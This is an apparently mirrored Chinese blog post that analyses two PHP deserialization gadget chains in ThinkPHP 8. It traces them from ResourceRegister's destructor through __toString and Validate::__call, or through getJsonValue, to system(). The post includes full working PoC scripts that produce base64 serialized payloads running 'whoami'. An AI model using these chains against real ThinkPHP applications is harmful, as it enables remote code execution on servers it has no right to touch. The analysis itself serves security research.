thinkphp8反序列化分析

news2024/11/27 16:30:51

thinkphp8反序列化

前言

摆了一个暑假,正好看见周会有人分析了tp反序列化,想起这条链子的发现者就是我尊敬的nivia,这不得好好分析一下,而且师傅也是分析了这个,所以有了这个文章

链子一 __call触发

分析

相比于我们的6来说,原来我们都是通过save方法来作为入口的,但是8直接将整个类的destruct方法都被删除掉了

这里我们使用6的宁一个类

ResourceRegister#__destruct

我们的目的是触发call方法,所以可以寻找可能触发call的地方,并且参数可以控制

think\Validate#__call

public function __call($method, $args)
{
    if ('is' == strtolower(substr($method, 0, 2))) {
        $method = substr($method, 2);
    }

    array_push($args, lcfirst($method));

    return call_user_func_array([$this, 'is'], $args);
}

这里解释一下call_user_func_array([$this, ‘is’], $args);这个意思

  • [$this, 'is']:这部分表示回调是一个对象方法,$this 是当前对象的引用,'is' 是对象中名为 is 的方法。这相当于 $this->is()
  • $args:这是一个参数数组,它将被解包并传递给 is 方法。

我们看看is方法的重点部分

public function is($value, string $rule, array $data = []): bool
    {
        $call = function ($value, $rule) {
            if (isset($this->type[$rule])) {
                // 注册的验证规则
                $result = call_user_func_array($this->type[$rule], [$value]);

至于参数怎么控制的,分析完调用链再来研究

回到我们入口它调用了register方法

protected function register()
{
    $this->registered = true;
    
    $this->resource->parseGroupRule($this->resource->getRule());
}

可以看到其实这里就有触发

但是参数是不一样的,我们看到call是需要传入两个参数的

而getRule只是返回一个参数

public function getRule()
    {
        return $this->rule;
    }

继续往下来,进入parseGroupRule方法

image-20240812195052129

随便一看,是存在大量的字符串拼接的,是可以触发我们的Tostring的

因为传入参数都是tostring后该考虑的事,这里我们不需要过多关心参数对后面的影响,只需要能够触发tostring就好了

首先一眼看下去是

$rule = implode('/', $item) . '/' . $last;

这里控制last的值更好触发,但是last的来源是

$array = explode('.', $rule);
$last  = array_pop($array);
$item  = [];

注定了我们的last只能为一个字符串,因为是从我们的rule里面用点分割的,所以不能为一个实例化对象,我们使用

$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';

这个什么意思呢,问下gpt就懂了

  • foreach ($array as $val):这表示对于数组 $array 中的每个元素,将其值赋给变量 $val ,然后执行循环体中的代码。
  • $item[] = $val. '/<'. ($option['var'][$val]?? $val. '_id'). '>:在每次循环中,创建一个新的元素并添加到数组 $item 中。这个新元素是由当前的 $val 值,加上 /< ,再加上 $option['var'][$val] 的值(如果存在),如果 $option['var'][$val] 不存在,则使用 $val. '_id' ,最后加上 > 组成。

以下是一个示例:

<?php
$array = ['item1', 'item2', 'item3'];
$option = [
    'var' => [
        'item1' => 'value1',
        'item3' => 'value3'
    ]
];

$item = [];
foreach ($array as $val) {
    $item[] = $val. '/<'. ($option['var'][$val]?? $val. '_id'). '>';
}

print_r($item);
?>

在上述示例中,最终 $item 数组的内容将是

Array
(
    [0] => item1/<'value1'>
    [1] => item2/<'item2_id'>
    [2] => item3/<'value3'>
)

首先控制我们的$option['var'][$val]为我们的实例化对象,然后确保 o p t i o n [ ′ v a r ′ ] 值为 option['var']值为 option[var]值为val的键值,并且键值的值是我们的实例化对象

像这样

$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];

这样$val是1,然后返回1的值就是我们的对象

就成功到了我们的老tostring了

但是这里我们走call

继续看

但是我们走的是image-20240812201607666

倒着分析

看到getRelationWith方法

protected function getRelationWith(string $key, array $hidden, array $visible)
    {
        $relation = $this->getRelation($key, true);
        if ($relation) {
            if (isset($visible[$key])) {
                $relation->visible($visible[$key]);
            } elseif (isset($hidden[$key])) {
                $relation->hidden($hidden[$key]);
            }
        }
        return $relation;
    }

如果要触发call方法,那么$relation必须可以控制

跟进getRelation方法

public function getRelation(string $name = null, bool $auto = false)
    {
        if (is_null($name)) {
            return $this->relation;
        }

        if (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        } elseif ($auto) {
            $relation = Str::camel($name);

            return $this->getRelationValue($relation);
        }
    }

第一个是我们的name为null,name就是传入的call的参数,是不可以为null的,我们看第二个

只需要name存在这个键就好了

溯源到name是

foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name, $visible, $hidden);
        }

来自于append,所以这样

https://www.aiwin.fun/index.php/archives/4422/#cl-1

 $this->relation=["1"=>new Validate()];
        $this->visible=["1"=>new ConstStub()];

只要这两个的键一样,现在就是控制传过去的call参数了

传入的是 v i s i b l e [ visible[ visible[key]作为方法名,visible是可以控制的

但是有个问题就是

image-20240812202948064

我们的val是不能为String的,那我们要怎么传入方法参数呢

可以使用数组,但是倒着一个问题

在命令执行的地方

$result = call_user_func_array($this->type[$rule], [$value]);

我们的方法只能接收一个数组参数,而且能够执行命令

根据nivia的想法

本来想通过ReflectionFunction#invokeArgs来实现命令执行,且刚好invokeArgs接收一个数组类型的参数,但ReflectionFunction不允许被序列化和反序列化

所以放弃,这里想到的办法是

如果$value是一个类,也就相当于这个类被当成了字符串使用,会触发它的__toString方法,返回一个值,因此只需要找一个类的__toString方法直接返回一个值,并且这个值是可控的即可。我与链子作者都把枪头同时指向了ConstStub类,这里可以通过构造方法控制value,从而达到上面的效果。

POC

<?php
namespace Symfony\Component\VarDumper\Cloner;
class Stub{}

namespace Symfony\Component\VarDumper\Caster;
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub
{
    public $value="whoami";

}

namespace think;


use Symfony\Component\VarDumper\Caster\ConstStub;

class Validate{
    protected $type;
    public function __construct(){
        $this->type=["visible"=>"system"];
    }

}

abstract class Model{
    protected $append=["a"=>"1.1"];
    private $relation;
    protected $visible;
    public function __construct(){
        $this->relation=["1"=>new Validate()];
        $this->visible=["1"=>new ConstStub()]; //不能为字符串,怎么办?
    }
}

namespace think\model;

use think\Model;
class Pivot extends Model{
}

namespace think\route;


use Symfony\Component\VarDumper\Caster\ConstStub;
use think\Validate;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option =["var" => ["1" => new \think\model\Pivot()]];
    }
}


class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

细节部分

触发tostring

上面写着有,可以去看

搜索“进入parseGroupRule方法”

不能为string,怎么办

也是有的

搜索“但是有个问题就是”、

这个就是刚刚的前部分触发tostring和tp6的后半部分触发动态方法调用那里

POC

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['a'=>['a'=>'whoami']];
    private $withAttr=['a'=>['a'=>'system']];
    protected $json=["a"];
    protected $jsonAssoc = true;
}


namespace think;

abstract class Model{
    use model\concern\Attribute;
}

namespace think\model;

use think\Model;
class Pivot extends Model{}

namespace think\route;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option = ["var" => ["1" => new \think\model\Pivot()]];
    }
}
class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

链子二 getjsonvalue动态方法调用

这个就是触发Tostring的前部分加tp6的后部分

POC

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['a'=>['a'=>'whoami']];
    private $withAttr=['a'=>['a'=>'system']];
    protected $json=["a"];
    protected $jsonAssoc = true;
}


namespace think;

abstract class Model{
    use model\concern\Attribute;
}

namespace think\model;

use think\Model;
class Pivot extends Model{}

namespace think\route;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option = ["var" => ["1" => new \think\model\Pivot()]];
    }
}
class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

参考

https://www.aiwin.fun/index.php/archives/4422/#

https://xz.aliyun.com/t/14904#toc-5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2035052.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringSecurity+前端项目+redis完成认证授权的代码

1. 前端准备工作--都在全局main.js页面中设置的 1.1. 创建Vue工程后&#xff0c;并导入element ui和axios&#xff0c;添加连接后端项目的路径&#xff0c;把axios挂载到Vue 1.2. 前置路由守卫&#xff08;所有路由跳转前核实一下身份&#xff09; //前置路由守卫--所有的路由…

C++密码管理器

先问一句 最近有几个关注我的原力等级为0或-1&#xff0c;文章全是转载&#xff0c;转载时间基本都在2021年&#xff0c;而且关注了很多人&#xff0c;这些是僵尸粉吗&#xff1f; 文末有投票&#xff0c;麻烦参与一下谢谢 实现功能列表 暂时还没做加密功能 打算用openssl/a…

C++ STL初阶(9):list 中关于reverse_iterator的实现

在完成vector和list的iterator相关部分的实践后来完成反向迭代器的实现 1. list的反向迭代器 书接上回&#xff0c;反向迭代器应当重新封装一个类。 反向迭代器和正向迭代器最大的区别就是&#xff0c;反向迭代器是倒着走的&#xff0c;所以最核心的逻辑就是将封装成-- 注意&am…

数字化转型-成就智慧智慧企业

数字化转型是企业迈向智慧化发展的关键路径&#xff0c;通过将先进的数字技术融入企业核心业务&#xff0c;构建智能化、数据驱动的运营模式&#xff0c;实现业务的全面升级与优化。智慧企业的实现依托于几个核心要素&#xff1a;首先是数字基础设施的建设&#xff0c;包括云计…

浅述TSINGSEE青犀EasyCVR视频汇聚平台与海康安防平台的区别对比

在我们的很多项目中都遇到过用户的咨询&#xff1a;TSINGSEE青犀EasyCVR视频汇聚平台与海康平台的区别在哪里&#xff1f;确实&#xff0c;在安防视频监控领域&#xff0c;EasyCVR视频汇聚平台与海康威视平台是两个备受关注的选择。它们各自具有独特的功能和优势&#xff0c;适…

RSS 源:在信息洪流中找回你的时间掌控权

简单介绍了 RSS 后&#xff0c;那么关键的一步就是建立好自己的 RSS 源了。 并不是所有平台都会提供 RSS 源&#xff0c;因此我们也没办法直接去订阅。 目前使用 RSS 的难题之一就是 RSS 源的匮乏&#xff0c;是无数人重新拥抱 RSS 的第一大障碍。 那么&#xff0c;如何去找…

全球化浪潮下的数据库革新:嘉里物流 TiDB 实践价值的设想

导读 本文来自 TiDB 社区武汉站——嘉里物流架构团队负责人肖飞老师的演讲《嘉里物流 & TiDB 在全球化业务场景中应用设想》。本次分享探讨了嘉里物流在全球化扩展中&#xff0c;将如何通过 TiDB 的强大功能应对海量数据挑战&#xff0c;优化技术架构&#xff0c;并提升决…

Adaptive Subgraph Neural Networkwith Reinforced Critical Structure Mining

1 Introduction graph mining area: 图挖掘领域 图具有广泛的局部结构&#xff1a;从节点、模体&#xff08;motifs&#xff09;到子图&#xff08;subgraph&#xff09; 主流研究表明&#xff1a;图的重要特征和突出模式是通过主要由一些关键局部结构&#xff08;如模体和子图…

html+css 实现hover 翻转按钮

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽效果&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目…

NCL的安装和运行;气象数据可视化;散点图、直方图、等值线图、箭头图、任意折线和任意图形、非规则网格、图形叠加、组图的绘制

NCAR Command Language&#xff08;NCL&#xff09;是由美国大气研究中心&#xff08;NCAR&#xff09;推出的一款用于科学数据计算和可视化的免费软件。它有着非常强大的文件输入和输出功能&#xff0c;可读写netCDF-3、netCDF-4 classic、HDF4、binary、ASCII数据&#xff0c…

LVS实验的三模式总结

文章目录 LVS的概念叙述NAT工作模式实战案例**思想&#xff1a;**NAT工作模式的优点NAT工作模式的缺点 NAT工作模式的应用场景大致配置 route&#xff1a;打开路由内核功能 部署DR模式集群案例工作思想&#xff1a;大致工作图如下思路模型 具体配置与事实步骤补充 防火墙标签解…

RCE漏洞复现

PHP命令执行常用函数 回调函数必须是命令执行和代码执行的函数&#xff0c;有两个条件 必须是函数&#xff0c;而且需要有函数运行的参数 危害&#xff1a;可以直接删除文件&#xff0c;添加文件&#xff0c;甚至可以添加用户 system --执行外部程序&#xff0c;并且显示输…

Ubuntu操作系统的基础操作和设置(详细且全面)(1)

前言 当Ubuntu系统被搭建完成以后&#xff0c;为了方便大家更容易上手&#xff0c;所以对常见的基础操作和设置进行讲解 1.支持中文显示&#xff0c;中文输入设置 1.1&#xff1a;支持中文显示 Ubuntu操作系统默认显示和输入的语言是英文。所以&#xff0c;如果你的英…

《虚拟之旅:开启无限可能的机器世界》简介:

1.Ubonto的介绍&#xff1a; Ubuntu 是一个流行的开源操作系统&#xff0c;基于 Linux 内核。 它具有以下一些特点和优势&#xff1a; 开源免费&#xff1a;任何人都可以免费使用、修改和分发。丰富的软件库&#xff1a;通过软件包管理器可以方便地安装各种应用程序。良好的…

Linux系统移植——开发板烧写(二)

目录&#xff1a; 目录&#xff1a; 一、什么是EMMC分区&#xff1f; 1.1 eMMC分区 1.2 分区的管理 二、相关命令介绍&#xff1a; 2.1 mmc 2.1.1 主要功能 2.1.2 示例用法 2.2 fdisk 2.2.1 基本功能 2.2.2 交互模式常用命令 2.2.3 注意事项 三、U-BOOT烧写 3.1 mmc命令 3.2 f…

Java并发面试题汇总

文章目录 线程什么是线程和进程?请简要描述线程与进程的关系,区别及优缺点?程序计数器、虚拟机栈、虚拟机栈、堆和方法区如何创建线程?线程的生命周期什么是线程上下文切换?Thread#sleep() 方法和 Object#wait() 方法对比为什么 wait() 方法不定义在 Thread 中?为什么 sle…

【解压即玩】PC端最好用最漂亮的前端CoinOPS整合包186G 复古带遮罩和滤镜,怀旧拉满

这是大神做的一个整合包&#xff0c;让游戏界面更加的漂亮&#xff0c;如图&#xff0c;下面是游戏选择画面&#xff0c;右侧是滚动的圆盘&#xff0c;左侧显示游戏的画面&#xff1a; 实际游戏时的界面是这样的&#xff1a; 应当是目前最漂亮的游戏界面了。之前有人说在电脑上…

sp eric靶机

扫描IP 端口扫描 nmap 192.168.111.146 -p- -sV 目录扫描 # 使用命令 dirsearch -u "http://192.168.111.146" 访问靶机IP地址 拼接访问 admin.php &#xff0c;发现登录框界面&#xff0c;尝试sql注入&#xff0c;弱口令等&#xff0c;没有结果 看看 .git &#…

【C语言篇】C语言常考及易错题整理DAY2

文章目录 C语言常考及易错题整理选择题编程题至少是其他数字两倍的最大数两个数组的交集图片整理寻找数组的中心下标多数元素除自身以外数组的乘积不使用加减乘除求两个数的加法 C语言常考及易错题整理 选择题 下列 for 循环的次数为&#xff08; &#xff09; for(int i 0…

高可用keepalived详解---干货满满(企业应用示例)

目录 一、master/master 的 Keepalived 双主架构 1.1 ka1部署 1.2 ka2部署 1.3 重启测试 二、实现ipvs高可用 (keepalivedlvs) 2.1 ipvs的相关配置 2.1.1 虚拟服务器配置架构 2.1.2 virtual server &#xff08;虚拟服务器&#xff09;的定义格式 2.1.3 虚拟服务器…